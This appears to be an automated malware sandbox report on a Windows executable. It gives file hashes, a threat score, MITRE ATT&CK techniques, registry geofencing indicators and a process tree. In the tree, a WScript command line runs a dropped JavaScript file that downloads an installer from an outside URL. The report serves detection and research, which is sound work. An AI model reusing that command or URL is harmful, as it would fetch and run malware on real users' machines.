43c3b3e0e23d878f1223515a5a68a3c186e6a65ae3021e358865f3e0a9559544

Analysis

max time kernel
135s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
15/06/2024, 02:17

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General

Target

a6b3e5fbf63dbd4b38610fd3ff8185d7.exe
Size

184KB
MD5

a6b3e5fbf63dbd4b38610fd3ff8185d7
SHA1

a21fc2631a62895054ef80d98e748e41c5c30f0a
SHA256

43c3b3e0e23d878f1223515a5a68a3c186e6a65ae3021e358865f3e0a9559544
SHA512

d5e7f067945c905d43ba3268d2d9c0c634f49785943b90b47f0f34934aa3f0007f69e59bcf50cc67b012963db3a03c22d0dfe10d78d755040c5fd4a46708ddde
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3A:/7BSH8zUB+nGESaaRvoB7FJNndnB

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 7 IoCs

flow	pid	Process
3	3544	WScript.exe
23	2036	WScript.exe
26	4840	WScript.exe
42	2756	WScript.exe
43	2756	WScript.exe
45	3668	WScript.exe
46	3668	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2080292272-204036150-2159171770-1000\Control Panel\International\Geo\Nation	a6b3e5fbf63dbd4b38610fd3ff8185d7.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2080292272-204036150-2159171770-1000_Classes\Local Settings	a6b3e5fbf63dbd4b38610fd3ff8185d7.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3428 wrote to memory of 3544	3428	a6b3e5fbf63dbd4b38610fd3ff8185d7.exe	84
PID 3428 wrote to memory of 3544	3428	a6b3e5fbf63dbd4b38610fd3ff8185d7.exe	84
PID 3428 wrote to memory of 3544	3428	a6b3e5fbf63dbd4b38610fd3ff8185d7.exe	84
PID 3428 wrote to memory of 2036	3428	a6b3e5fbf63dbd4b38610fd3ff8185d7.exe	88
PID 3428 wrote to memory of 2036	3428	a6b3e5fbf63dbd4b38610fd3ff8185d7.exe	88
PID 3428 wrote to memory of 2036	3428	a6b3e5fbf63dbd4b38610fd3ff8185d7.exe	88
PID 3428 wrote to memory of 4840	3428	a6b3e5fbf63dbd4b38610fd3ff8185d7.exe	89
PID 3428 wrote to memory of 4840	3428	a6b3e5fbf63dbd4b38610fd3ff8185d7.exe	89
PID 3428 wrote to memory of 4840	3428	a6b3e5fbf63dbd4b38610fd3ff8185d7.exe	89
PID 3428 wrote to memory of 2756	3428	a6b3e5fbf63dbd4b38610fd3ff8185d7.exe	92
PID 3428 wrote to memory of 2756	3428	a6b3e5fbf63dbd4b38610fd3ff8185d7.exe	92
PID 3428 wrote to memory of 2756	3428	a6b3e5fbf63dbd4b38610fd3ff8185d7.exe	92
PID 3428 wrote to memory of 3668	3428	a6b3e5fbf63dbd4b38610fd3ff8185d7.exe	94
PID 3428 wrote to memory of 3668	3428	a6b3e5fbf63dbd4b38610fd3ff8185d7.exe	94
PID 3428 wrote to memory of 3668	3428	a6b3e5fbf63dbd4b38610fd3ff8185d7.exe	94

C:\Users\Admin\AppData\Local\Temp\a6b3e5fbf63dbd4b38610fd3ff8185d7.exe
"C:\Users\Admin\AppData\Local\Temp\a6b3e5fbf63dbd4b38610fd3ff8185d7.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3428
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf6BF8.js" http://www.djapp.info/?domain=nyBphhwZbp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf6BF8.exe
  2⤵
  - Blocklisted process makes network request
  PID:3544
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf6BF8.js" http://www.djapp.info/?domain=nyBphhwZbp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf6BF8.exe
  2⤵
  - Blocklisted process makes network request
  PID:2036
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf6BF8.js" http://www.djapp.info/?domain=nyBphhwZbp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf6BF8.exe
  2⤵
  - Blocklisted process makes network request
  PID:4840
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf6BF8.js" http://www.djapp.info/?domain=nyBphhwZbp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf6BF8.exe
  2⤵
  - Blocklisted process makes network request
  PID:2756
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf6BF8.js" http://www.djapp.info/?domain=nyBphhwZbp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf6BF8.exe
  2⤵
  - Blocklisted process makes network request
  PID:3668

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf6BF8.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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